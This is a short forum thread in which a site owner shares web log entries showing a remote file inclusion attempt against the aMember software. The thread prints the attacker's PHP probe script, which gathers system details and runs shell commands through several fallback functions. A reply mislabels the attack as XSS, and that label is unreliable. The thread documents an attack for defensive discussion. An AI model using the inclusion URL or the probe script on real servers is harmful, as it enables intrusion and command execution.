amember attack

I have a bunch of lines like this in my logs

killergismo.com - - [01/Oct/2007:00:03:19 -0700] "GET /amember//amember/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://usuarios.arnet.com.ar/larry123/safe.txt? HTTP/1.1" 403 1042 "-" "libwww-perl/5.803"

Luckily my amember install isn't in a directory named amember or they'd have got me.

Here is the text from the file at http://usuarios.arnet.com.ar/larry123/safe.txt

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}

?>


Tom

You can not run that file directly from the web it will return "Direct access to this location is not allowed"

Same if you run the command he is trying to insert, this is called an xss attack which aMember, in this case anyway, is not vulnerable.